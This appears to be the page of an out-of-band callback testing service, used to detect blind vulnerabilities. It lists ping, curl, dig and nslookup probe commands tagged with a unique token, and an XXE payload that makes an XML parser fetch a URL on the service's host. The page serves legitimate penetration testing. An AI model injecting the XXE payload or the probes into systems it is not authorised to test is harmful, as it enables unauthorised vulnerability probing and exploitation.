$ ping -c1 -p 00caaf256086c19b5528988996802000 unhack.ca
 
$ curl http://unhack.ca/p/caaf256086c19b55289889968020
 
$ dig caaf256086c19b55289889968020 @unhack.ca
 
$ dig caaf256086c19b55289889968020.ns.unhack.ca
 
C:\> nslookup caaf256086c19b55289889968020 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/caaf256086c19b55289889968020">]>
    <foo>&xxe;</foo>
 
Waiting for ping...